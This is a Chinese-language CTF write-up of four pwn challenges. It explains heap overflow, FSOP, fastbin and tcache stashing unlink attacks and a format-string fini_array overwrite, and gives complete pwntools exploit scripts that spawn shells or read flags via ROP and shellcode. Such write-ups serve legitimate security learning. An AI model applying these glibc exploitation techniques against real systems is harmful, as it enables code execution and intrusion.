题目链接
BabyPwn 分析 首先我们看一下程序,程序提供了三种操作add, throw_out,show
,操作的结构是member
,describe
是依据用户输入的大小所分配的堆空间,但是输入的大小最大是0x40
,即堆块最大为0x50
漏洞函数位于add
中读取字符串的函数
注意到length
的类型为int
,因此存在堆溢出漏洞。
利用 有两种利用的方式
方式1 整体思路为通过unsorted bin
泄露libc
地址,FSOP
进行getshell
释放两个相同大小的chunk
,申请chunk
的时候将size
设置为1
,这样就不会读取内容,从而泄露出堆地址
通过堆溢出伪造chunk
,大小为连续申请的几个chunk
和,使其释放时进入unsorted bin
中,从而获取libc
基址
堆溢出覆写unsorted bin
的fd,bk
指针,伪造IO_FILE
,采用FSOP
进行getshell
首先泄露heap
的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 add_member("12112" , 0x10 , "0" ) add_member("12112" , 0x10 , "1" ) add_member("12112" , 0x40 , "2" ) add_member("12112" , 0x40 , "3" ) add_member("12112" , 0x40 , "4" ) add_member("12112" , 0x40 , "5" ) throw_out(1 ) throw_out(0 ) add_member("1212" , 0x1 , "a" ) show_member(0 ) p.recvuntil("Description:" ) heap_address = u64(p.recvline().strip("\n" ).ljust(8 , "\x00" )) print "heap address" , hex (heap_address)
释放完第1,0
个chunk
的时候,堆的地址就写到了index=0
的堆块中,此时打印第0
块就可以得到heap address
。
1 2 3 4 5 6 7 add_member("1212" , 0x0 , p64(0 )*3 + p64(0xf1 )) throw_out(2 ) add_member("1212" , 0x40 , "12" ) show_member(3 ) p.recvuntil("Description:" ) libc.address = u64(p.recvline().strip().ljust(8 , "\x00" )) - 88 - 0x10 - libc.symbols['__malloc_hook' ] print "libc address" , hex (libc.address)
接着是伪造unsorted bin chunk
。我们将chunk
的大小设置为0xf1
即连续申请的三个0x40
的堆块的大小之和,此时不用伪造上下两个chunk
。释放之后重新申请一个大小为0x50
的堆块,index=3
的member
恰好就指向了main_arena+88
的存储位置,获得lib address
。
1 2 3 4 5 6 7 8 9 10 11 12 13 throw_out(1 ) vtable = p64(0 )*3 + p64(libc.symbols['system' ]) vtable_address = heap_address + 0x20 + 0x50 + 0xe0 payload = p64(0 )*3 + p64(0x51 ) + p64(0 )*8 payload += "/bin/sh\x00" + p64(0x61 ) + p64(0 ) + p64(libc.symbols['_IO_list_all' ] - 0x10 ) + p64(2 ) + p64(3 ) payload += p64(0 )*21 + p64(vtable_address) payload += vtable add_member("1212" , 0x0 , payload) p.sendlineafter("your choice:" , "1" ) p.sendlineafter("name:" , name) p.sendlineafter("size:" , str (1 )) p.interactive()
FSOP
的利用可以参考pwnable.tw的bookwrite 。这里简单介绍一下就是,由于我们修改了unsorted bin
的bk
指针,导致程序认为unsorted bin
的堆块大于1
个,此时若申请的大小与unsorted bin
大小不同,就会将当前处理的unsorted bin
的堆块放入small bin
中。并进行类似于unlink
的操作bck->fd = unsorted_chunks (av);
,就会在我们制定的位置+0x10
字节处写入main_arena+88
的地址。如果我们将bk
指针写为_IO_list_all-0x10
的地址,就能覆写IO_list_all
指针为main_arena+88
。
由于我们改写的bk
指针不合法,因此会打印错误信息,此时会对每个FILE
结构体进行fflush
操作,调用_IO_overflow
函数。FILE
结构体的依次处理主要依靠的是_chain
指针,当我们将IO_list_all
指针为main_arena+88
,其_chain
成员变量位于main_arena+184
位置即smallbin[5]
,chunk
大小为0x61
。如果我们将unsorted bin
的大小设置为0x61
,那么_chain
将指向我们可控的堆块(unsorted bin
)。
在堆块中伪造IO_FILE
和vtable
,将IO_overflow
指针伪造为system
地址,将IO_FILE
头部写入/bin/sh\x00
即可以调用system('/bin/sh')
。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import *context.log_level = "debug" elf = ELF("./pwn" ) debug = 1 if debug: p = process(['./pwn' ]) gdb.attach(p, "b *0x555555555090\n" ) libc = ELF('/home/pwn/Desktop/windowsDisk/glibc/x64/glibc-2.23/lib/libc.so.6' ) one_gadget = 0x0 else : p = remote('127.0.0.1' , 10005 ) libc = ELF('./libc.so' ) one_gadget = 0x0 def add_member (name, des_size, des ): p.sendlineafter("your choice:" , "1" ) p.sendlineafter("name:" , name) p.sendlineafter("size:" , str (des_size)) p.sendlineafter("Description:" , des) def show_member (index ): p.sendlineafter("your choice:" , "3" ) p.sendlineafter("index:" , str (index)) def throw_out (index ): p.sendlineafter("your choice:" , "2" ) p.sendlineafter("index:" , str (index)) def member_exit (): p.sendlineafter("your choice:" , "4" ) add_member("12112" , 0x10 , "0" ) add_member("12112" , 0x10 , "1" ) add_member("12112" , 0x40 , "2" ) add_member("12112" , 0x40 , "3" ) add_member("12112" , 0x40 , "4" ) add_member("12112" , 0x40 , "5" ) throw_out(1 ) throw_out(0 ) add_member("1212" , 0x1 , "a" ) show_member(0 ) p.recvuntil("Description:" ) heap_address = u64(p.recvline().strip("\n" ).ljust(8 , "\x00" )) print "heap address" , hex (heap_address)add_member("1212" , 0x0 , p64(0 )*3 + p64(0xf1 )) throw_out(2 ) add_member("1212" , 0x40 , "12" ) show_member(3 ) p.recvuntil("Description:" ) libc.address = u64(p.recvline().strip().ljust(8 , "\x00" )) - 88 - 0x10 - libc.symbols['__malloc_hook' ] print "libc address" , hex (libc.address)throw_out(1 ) vtable = p64(0 )*3 + p64(libc.symbols['system' ]) vtable_address = heap_address + 0x20 + 0x50 + 0xe0 payload = p64(0 )*3 + p64(0x51 ) + p64(0 )*8 payload += "/bin/sh\x00" + p64(0x61 ) + p64(0 ) + p64(libc.symbols['_IO_list_all' ] - 0x10 ) + p64(2 ) + p64(3 ) payload += p64(0 )*21 + p64(vtable_address) payload += vtable add_member("1212" , 0x0 , payload) p.sendlineafter("your choice:" , "1" ) p.sendlineafter("name:" , name) p.sendlineafter("size:" , str (1 )) p.interactive()
方式2 这种方法在这个比赛中不能使用
伪造unsorted bin
泄露libc
基址,通方式1相同,在伪造unsorted bin
的时候会构造出堆重叠
double free
进行fastbin attack
。但是这里最大分配的chunk
为0x50
。由于程序开启了随机化,因此堆地址的开始为0x55
或0x56
,因此我们转换一下,将chunk
分配在main_arena+37
位置处(main_arena+40
处存储fastbin[4]
起始,即大小为0x60
的堆块的地址)。参考HSCTF2019 heard_heap
这里需要注意的是由于我们需要覆写之后的top chunk地址,而且有0x40大小可写区域的限制,因此只能选择main_arena+40处进行分配,因此我们需要再次释放一个大小为0x60的堆块。
在分配之后我们需要绕过一些检查
1 2 assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim)));
因此我们需要等待堆地址为0x56
起始时才可以成功分配
分配完成之后,覆写之后位于main_arena+88
处的top chunk
地址。将top chunk
地址覆写为malloc_hook-0x23
处的地址,这样就可以分配到malloc_hook
的堆块了。覆写one_gadget
。
在one_gadget都无法使用的时候可以考虑将malloc_hook的地址填写为realloc+n的地址,进行平衡栈帧,构造one_gadget生效的条件,realloc_hook位置(main_arena-0x18)填写gadget地址。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 from pwn import *context.log_level = "debug" elf = ELF("./pwn" ) debug = 1 if debug: p = process(['./pwn' ]) gdb.attach(p, "b *0x555555555090\n" ) libc = ELF('/home/pwn/Desktop/windowsDisk/glibc/x64/glibc-2.23/lib/libc.so.6' ) one_gadget = 0xcb7e5 else : p = remote('' , 0 ) libc = ELF('./libc.so' ) one_gadget = 0x0 def add_member (name, des_size, des ): p.sendlineafter("your choice:" , "1" ) p.sendlineafter("name:" , name) p.sendlineafter("size:" , str (des_size)) p.sendlineafter("Description:" , des) def show_member (index ): p.sendlineafter("your choice:" , "3" ) p.sendlineafter("index:" , str (index)) def throw_out (index ): p.sendlineafter("your choice:" , "2" ) p.sendlineafter("index:" , str (index)) def member_exit (): p.sendlineafter("your choice:" , "4" ) def exp (): add_member("12112" , 0x10 , "0" ) add_member("12112" , 0x10 , "1" ) add_member("12112" , 0x40 , "2" ) add_member("12112" , 0x40 , "3" ) add_member("12112" , 0x40 , "4" ) throw_out(1 ) add_member("12112" , 0x0 , p64(0 )*3 + p64(0xa1 )) throw_out(2 ) add_member("12112" , 0x40 , "a" *0x8 ) show_member(3 ) p.recvuntil("Description:" ) libc.address = u64(p.readline().strip("\n" ).ljust(8 ,"\x00" )) - 88 - 0x10 - libc.symbols['__malloc_hook' ] malloc_hook_address = libc.symbols['__malloc_hook' ] main_arean_address = malloc_hook_address + 0x10 print "libc address" , hex (libc.address) add_member("1212" , 0x40 , "1" ) throw_out(1 ) add_member("12112" , 0x0 , p64(0 )*3 + p64(0x61 ) + p64(0 )*8 + p64(0 ) + p64(0x51 ) + p64(0 ) + p64(41 )) throw_out(2 ) throw_out(3 ) throw_out(4 ) throw_out(5 ) fake_chunk_address = main_arean_address - 0x13 + 0x38 add_member("12112" , 0x40 , p64(fake_chunk_address)) add_member("12112" , 0x40 , "4" *0x8 ) add_member("12112" , 0x40 , p64(fake_chunk_address)) add_member("12112" , 0x40 , "8" *3 + p64(0 )*4 + p64(malloc_hook_address - 0x23 )) throw_out(0 ) add_member("1212" , 0x40 , "a" *3 + p64(0 )*2 + p64(one_gadget + libc.address)) while True : try : exp() break except : p.close() p = process(['./pwn' ]) throw_out(2 ) throw_out(4 ) ''' p.sendlineafter("your choice:", "1") p.sendlineafter("name:", "2") p.sendlineafter("size:", str(0x20)) ''' p.interactive()
Paperprinter 分析 首先我们看一下程序,该题目与*ctf heap_master 有些类似,都是先mmap
一块0x1000
大小的内存,然后可以对该内存区域进行编辑和释放add,delete
。在该题目中共存在两次malloc
,一次是print
中的malloc(0x138)
,另一次是exit
中的strdup
。这与heap_master
中的任意malloc
不同。
程序在一开始给输出了sleep
的一个地址,根据此地址我们可以推算出libc address
的后5
个值,倒数第六个地址只能靠碰撞了(因为_IO_list_all
的偏移地址为6
位数)。
这样我们就相当于得到了libc
的地址。而目前我们可以任意释放内存。通过unsorted bin attack
覆盖_IO_list_all
地址为main_arean+88
,之后释放大小为0x60
大小的堆块,使得_chain
指向该堆块。在0x60
大小的堆块中布局fake_FILE
结构体。vtable
的地址可以通过堆块的bk
指针来进行伪造。
利用
根据输出的sleep
的部分地址推算出libc
地址的后6
位。
将mmap
的内存地址改写为0x90(chunk1)-0x30-0x90(chunk2)-0x30-0x90(chunk3)-0x30-0x140(chunk4)-0x30-0x30
的堆内存布局
依次释放chunk2,chunk3,chunk4
,此时形成的unsorted bin
链表如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 0x602ab0c0: 0x0000000000000000 0x0000000000000091 << chunk2 freed 0x602ab0d0: 0x00007ffff7dd5b78 0x00000000602ab180 << chunk2_bk = chunk3 ... 0x602ab150: 0x0000000000000090 0x0000000000000030 << padding chunk 0x602ab160: 0x0000000000000000 0x0000000000000000 0x602ab170: 0x0000000000000000 0x0000000000000000 0x602ab180: 0x0000000000000000 0x0000000000000091 << chunk3 freed 0x602ab190: 0x00000000602ab0c0 0x00000000602ab240 << chunk3_bk = chunk4 ... 0x602ab210: 0x0000000000000090 0x0000000000000030 << padding chunk 0x602ab220: 0x0000000000000000 0x0000000000000000 0x602ab230: 0x0000000000000000 0x0000000000000000 0x602ab240: 0x0000000000000000 0x0000000000000141 << chunk4 freed 0x602ab250: 0x00000000602ab180 0x00007ffff7dd5b78 << main_arena+88 ... 0x602ab380: 0x0000000000000140 0x0000000000000030 << padding chunk 0x602ab390: 0x0000000000000000 0x0000000000000000 0x602ab3a0: 0x0000000000000000 0x0000000000000000 0x602ab3b0: 0x0000000000000000 0x0000000000000031
为了之后能够调用strdup
,这里我们需要malloc(0x138)
即申请0x140
大小的堆块,此时chunk4
被申请。而chunk2,chunk3
被移入small bin
数组中。chunk2
的fd
指针和chunk3
的bk
指针指向main_arean+216
即small_bin[7]
的位置。
覆写chunk3
的bk
指针的后3
个字节为system
地址,那么chunk3
即为伪造的vtable
。而chunk2
的bk
指针指向chunk3
,即mmap_address+0xd8
的位置指向vtable
。我们即在chunk1
中伪造IO_FILE
将chunk1
构造为如下
1 2 3 4 5 6 7 8 9 10 0x602ab000: 0x0068732f6e69622f 0x0000000000000061 << smallbin[0x60] 0x602ab010: 0x0000000000000000 0x00007ffff7dd6510 << IO_list_all-0x10 0x602ab020: 0x0000000000000002 0x0000000000000003 0x602ab030: 0x0000000000000000 0x0000000000000000 0x602ab040: 0x0000000000000000 0x0000000000000000 0x602ab050: 0x0000000000000000 0x0000000000000000 0x602ab060: 0x0000000000000000 0x0000000000000000 0x602ab070: 0x0000000000000000 0x0000000000000000 0x602ab080: 0x0000000000000000 0x0000000000000000 0x602ab090: 0x0000000000000090 0x0000000000000030
在调用strdup
函数的时候会将chunk1
放入到small bin
数组中。发生unsorted bin attack
。_IO_list_all
被改写为main_arena+88
的地址。
而_chain
对应的main_arena+184
的位置即为smallbin[4]=0x60
的位置,而此时chunk1
被放入smallbin[4]
中,即_chain
指向了chunk1
。后malloc
由于我们改写的bk
指针而出错,即刷新所有的FILE
结构体。从而调用vtable-_IO_overflow
即system
。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from pwn import *context.log_level = "debug" elf = ELF("./pwn" ) debug = 1 if debug: p = process(['./pwn' ]) gdb.attach(p, "b *0x555555554E84\n" ) libc = ELF('/home/pwn/Desktop/windowsDisk/glibc/x64/glibc-2.23/lib/libc.so.6' ) one_gadget = 0x0 else : p = remote('' , 0 ) libc = ELF('' ) one_gadget = 0x0 def edit (offset, content ): p.sendlineafter("choice:" , "1" ) p.sendlineafter("offset :" , str (offset)) p.sendlineafter("length :" , str (len (content))) p.sendafter("content :" , content) def delete (offset ): p.sendlineafter("choice:" , "2" ) p.sendlineafter("offset :" , str (offset)) def printpaper (): p.sendlineafter("choice:" , "3" ) def exitpaper (): p.sendlineafter("choice:" , "4" ) def exp (): p.recvuntil("0x" ) libc_base = int (p.recvline().strip("\n" ), 16 ) libc_base -= (libc.sym['sleep' ] >> 8 ) libc_base = (libc_base<<8 )+0xa00000 system_address = libc_base + libc.sym['system' ] io_list_all_address = libc_base + libc.sym['_IO_list_all' ] print "libc base address" , hex (libc_base) print "system address" , hex (system_address) print "io_list_all address" , hex (io_list_all_address) offset = 0 edit(offset, p64(0 )+p64(0x91 )) edit(offset+0x90 , p64(0 )+p64(0x31 )) edit(offset+0x90 +0x30 ,p64(0 ) + p64(0x91 )) edit(offset+0x90 +0x30 +0x90 , p64(0 )+p64(0x31 )) edit(offset+0x90 +0x30 +0x90 +0x30 , p64(0 )+p64(0x91 )) edit(offset+0x90 +0x30 +0x90 +0x30 +0x90 , p64(0 )+p64(0x31 )) edit(offset+0x90 +0x30 +0x90 +0x30 +0x90 +0x30 , p64(0 )+p64(0x141 )) edit(offset+0x90 +0x30 +0x90 +0x30 +0x90 +0x30 +0x140 , p64(0 )+p64(0x31 )) edit(offset+0x90 +0x30 +0x90 +0x30 +0x90 +0x30 +0x140 +0x30 , p64(0 )+p64(0x31 )) delete(offset+0x90 +0x30 +0x10 ) delete(offset+0x90 +0x30 +0x90 +0x30 +0x10 ) delete(offset+0x90 +0x30 +0x90 +0x30 +0x90 +0x30 +0x10 ) printpaper() edit(offset+0x90 +0x30 +0x90 +0x30 +0x18 , p64(system_address)[:3 ]) edit(offset+0x90 +0x30 +0x90 +0x30 , p64(0 )*3 ) delete(offset+0x10 ) edit(offset+0x20 , p64(2 )+p64(3 )) edit(offset+0x18 , p64(io_list_all_address-0x10 )[:3 ]) edit(offset, "/bin/sh\x00" +p64(0x61 )+p64(0 )) exitpaper() while True : try : exp() p.interactive() p.close() except : p.close() if debug: p = process(['./pwn' ]) gdb.attach(p, "b *0x555555554E84\n" ) libc = ELF('/home/pwn/Desktop/windowsDisk/glibc/x64/glibc-2.23/lib/libc.so.6' ) one_gadget = 0x0 else : p = remote('' , 0 ) libc = ELF('' ) one_gadget = 0x0
Easyshell 分析 首先我们运行一下程序,程序采用静态编译,实现了一个返回用户输入的功能。这里存在格式化字符串漏洞。
由于函数是静态编译的,因此在函数执行_exit
调用__run_exit_handlers
函数,遍历fini.array
数组的时候,rbp
会被改写为__exit_funcs
的地址。
我们可以利用格式化字符串漏洞,改写fini.array
数组为[init, main(leave,ret)]
的指令,那么在程序退出的时候回首先执行fini.array[2]
,此时已经发生了栈迁移,我们即可进行ROP
这里需要注意的是每次gets
只能读取0xc0
大小的空间。因此我们需要两次重新读取数据。而且会遇到\n
截断,pop rdi
需要用另一个gadget
。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *context.log_level = "debug" context.arch = "amd64" elf = ELF("./pwn" ) debug = 1 if debug: p = process(['./pwn' ]) gdb.attach(p, "b *0x400dde\n" ) else : p = remote('' , 0 ) rbp = 0x6ed0c0 fini_array_address = 0x00000000006d6828 init_address = 0x40aba0 main_leave_ret = 0x400dfc p_rdi_r = 0x401f0a p_rdi_rbp_r = 0x40b74a p_rsi_r = 0x4014a4 p_rdx_rsi_r = 0x44c499 p_rcx_r = 0x42142b p_rax_rdx_rbx_r = 0x482286 gets_address = 0x400DC0 syscall = 0x471115 payload = "%{}c%23$hn" .format (str (init_address & 0xffff )) payload += "%{}c%24$hn" .format (str (0xffff & ((main_leave_ret & 0xffff ) - (init_address & 0xffff )))) payload += "%{}c%25$hn" .format (str (0xffff & ((p_rdi_r & 0xffff ) - (main_leave_ret & 0xffff )))) payload += "%{}c%26$hn" .format (str (0xffff & (((p_rdi_r >> 16 ) & 0xffff ) - (p_rdi_r & 0xffff )))) payload += "%{}c%27$hn" .format (str (0xffff & (((rbp + 0x10 ) & 0xffff ) - ((p_rdi_r >> 16 ) & 0xffff )))) payload += "%{}c%28$hn" .format (str (0xffff & ((((rbp + 0x10 ) >> 16 ) & 0xffff ) - ((rbp + 0x10 ) & 0xffff )))) payload += "%{}c%29$hn" .format (str (0xffff & ((gets_address & 0xffff ) - ((rbp + 0x10 ) >> 16 ) & 0xffff ))) payload += "%{}c%30$hn" .format (str (0xffff & (((gets_address >> 16 ) & 0xffff ) - (gets_address & 0xffff )))) payload = payload.ljust(0x70 , "a" ) payload += 'b' *8 payload += p64(fini_array_address) + p64(fini_array_address + 8 ) payload += p64(rbp+8 ) + p64(rbp+8 +2 ) + p64(rbp+0x10 ) + p64(rbp + 0x10 + 2 ) + p64(rbp + 0x18 ) + p64(rbp + 0x18 + 2 ) p.recvuntil("echo back.\n" ) p.sendline(payload) flag_address = rbp + 0x10 flag_read_address = 0x6ef910 rop2_rbp = 0x6ed178 or_rop = flat([ p_rdi_rbp_r, flag_address, 0 , p_rsi_r, 0x0 , p_rax_rdx_rbx_r, 2 , 0 , 0 , syscall, p_rdi_rbp_r, 0 , 0 , p_rsi_r, rop2_rbp, p_rax_rdx_rbx_r, 0 , 0x100 , 0 , syscall ]) p.recvuntil("b" *8 ) p.sendline("./flag\x00\x00" + or_rop) rw_rop = flat([ p_rdi_rbp_r, 3 , 0 , p_rsi_r, flag_read_address, p_rax_rdx_rbx_r, 0 , 0x100 , 0 , syscall, p_rdi_rbp_r, 1 , 0 , p_rsi_r, flag_read_address, p_rax_rdx_rbx_r, 1 , 0x100 , 0 , syscall ]) p.sendline(rw_rop) p.interactive()
Playthenew 分析 首先看一下程序,保护全开,libc
版本是2.30
。
程序首先在0x100000
地址处mmap
了一块大小为0x1000
的内存。
程序提供了6
中操作。(plt
表错误,可以用cutter
识别)
buy
函数中使用calloc
分配限定大小范围内的堆块。分配次数无限制但是只能存储5
个堆块指针,保存在全局变量中0x5080
中。throw
函数释放堆块,但是没有将堆块指针置为空,存在UAF
。show_dance
则是输出函数。change
改变堆块中存储的内容。若0x10000
存储的内容不为0x42
,则input_secret
用来向0x100008
地址处写入用户输入的数据,而call_global
则调用0x100010
处保存的函数指针,以0x100018
处为参数。
由于libc
版本为2.30
存在tcache
,而calloc
分配是不经过tcache
的,因此无法直接对tcache
进行攻击。这里是用到的是tcache small bin attack(tcache stashing unlink attack)
。即当请求的大小位于small bin
范围中时,若相应大小的tcache
未满,则将剩余的small bin
放入到tcache
中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 if (in_smallbin_range (nb)){ idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): smallbin double linked list corrupted" ); set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); #if USE_TCACHE size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0 ) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); } } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } }
tcache
堆块的放入操作从small bin
链表的尾部开始。因此如果我们修改了small bin
表头指向的堆块的bk
指针,就可以向*(bk+0x10)
的地址处写入一个main_arean
附近的地址。
这里我们可以将tcache
提前填充到6
,这样放入一块堆块之后就不会再放入了,也就解决了地址错误的导致的崩溃问题。
利用
首先将大小为0x160
的tcache
填满,大小为0xa0
的tcache
剩余一个位置。
此时申请0x160
大小的堆块,再次释放则会进入small bin
。由于我们需要两个small bin
堆块。因此执行下列操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 buy(0 , 0x150 , "0" ) buy(1 , 0x150 , "0" ) buy(2 , 0x150 , "0" ) buy(3 , 0x150 , "0" ) throw_bas(0 ) show(0 ) p.recvuntil("the dance:" ) libc.address = u64(p.recvline().strip(b'\n' ).ljust(8 , b'\x00' )) - 96 - (libc.sym['__malloc_hook' ] + 0x10 ) log.success("libc address: {}" .format (hex (libc.address))) buy(1 , 0xb0 , "0" ) throw_bas(2 ) show(2 ) p.recvuntil("the dance:" ) heap_address = u64(p.recvline().strip(b"\n" ).ljust(8 , b"\x00" )) log.success("heap address: {}" .format (hex (heap_address))) buy(1 , 0xb0 , "0" ) buy(1 , 0xb0 , "0" ) change(2 , p64(0 )*int (0xb0 /0x8 ) + p64(0 ) + p64(0xa1 ) + p64(heap_address) + p64(0x100000 -0x10 )) buy(1 , 0x90 , "0" )
这样我们就将可以调用input_secret
和call_global
函数实现任意代码执行了。
这里采用的是调用puts
函数利用environ
变量泄露栈地址,修改puts
执行完毕之后的返回地址,利用gadget
调用mprotect
函数关闭0x100000
地址的不可执行保护,劫持函数栈到0x100000
实现orw
的调用。
也可以使用mov rbp, qword ptr [rdi + 0x48]; mov rax, qword ptr [rbp + 0x18]; lea r13, [rbp + 0x10]; mov dword ptr [rbp + 0x10], 0; mov rdi, r13; call qword ptr [rax + 0x28];此类的通过rdi 控制rbp,并实现call调用的gadget。将call调用设置为leave,ret实现栈迁移,调用orw,gadget链。
EXP python3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 from pwn import *file_path = "./pwn" context.arch = "amd64" context.log_level = "debug" elf = ELF(file_path) debug = 1 if debug: p = process([file_path]) gdb.attach(p, "b *0x55555555591D\n" ) libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.30/lib/libc.so.6' ) one_gadget = 0x0 else : p = remote('' , 0 ) libc = ELF('' ) one_gadget = 0x0 def buy (index, size, content ): p.sendlineafter("> " , "1" ) p.sendlineafter("index:" , str (index)) p.sendlineafter("size of basketball:" , str (size)) p.sendafter("name:" , content) def throw_bas (index ): p.sendlineafter("> " , "2" ) p.sendlineafter("idx of basketball:" , str (index)) def show (index ): p.sendlineafter("> " , "3" ) p.sendlineafter("idx of basketball:" , str (index)) def change (index, content ): p.sendlineafter("> " , "4" ) p.sendlineafter("idx of basketball:" , str (index)) p.sendafter("dance of the basketball:" , content) def input_secret (secret ): p.sendlineafter("> " , "5" ) p.sendafter("Input the secret place:" , secret) def call_global (): p.sendlineafter("> " , str (0x666 )) for i in range (6 ): buy(0 , 0x90 , "0" ) throw_bas(0 ) for i in range (7 ): buy(0 , 0x150 , "0" ) throw_bas(0 ) log.success("filled tcache" ) buy(0 , 0x150 , "0" ) buy(1 , 0x150 , "0" ) buy(2 , 0x150 , "0" ) buy(3 , 0x150 , "0" ) throw_bas(0 ) show(0 ) p.recvuntil("the dance:" ) libc.address = u64(p.recvline().strip(b'\n' ).ljust(8 , b'\x00' )) - 96 - (libc.sym['__malloc_hook' ] + 0x10 ) log.success("libc address: {}" .format (hex (libc.address))) buy(1 , 0xb0 , "0" ) throw_bas(2 ) show(2 ) p.recvuntil("the dance:" ) heap_address = u64(p.recvline().strip(b"\n" ).ljust(8 , b"\x00" )) log.success("heap address: {}" .format (hex (heap_address))) buy(1 , 0xb0 , "0" ) buy(1 , 0xb0 , "0" ) change(2 , p64(0 )*int (0xb0 /0x8 ) + p64(0 ) + p64(0xa1 ) + p64(heap_address) + p64(0x100000 -0x10 )) buy(1 , 0x90 , "0" ) input_secret(p64(0 ) + p64(libc.sym['puts' ]) + p64(libc.sym['environ' ])) call_global() stack_address = u64(p.recvline().strip(b"\n" ).ljust(8 , b"\x00" )) - (0x7fffffffdf38 - 0x7fffffffde28 ) log.success("stack address: {}" .format (hex (stack_address))) orw = shellcraft.open ("./flag" ) orw += shellcraft.read("rax" , "rsp" , 0x100 ) orw += shellcraft.write(1 , "rsp" , 0x100 ) payload1 = p64(0 ) + p64(libc.sym['gets' ]) + p64(stack_address) + p64(0x100000 + 0x28 ) + asm(orw) input_secret(payload1) call_global() p_rdx_r12_r = libc.address + 0xf7fb1 p_rdi_r = libc.address + 0x267e2 p_rsi_r = libc.address + 0x26d07 p_rsp_r = libc.address + 0x26f8b mprotect_address = libc.sym['mprotect' ] payload2 = flat([ p_rdi_r, 0x100000 , p_rsi_r, 0x1000 , p_rdx_r12_r, 7 , 0 , mprotect_address, p_rsp_r, 0x100000 +0x20 ]) raw_input() p.sendline(payload2) p.interactive()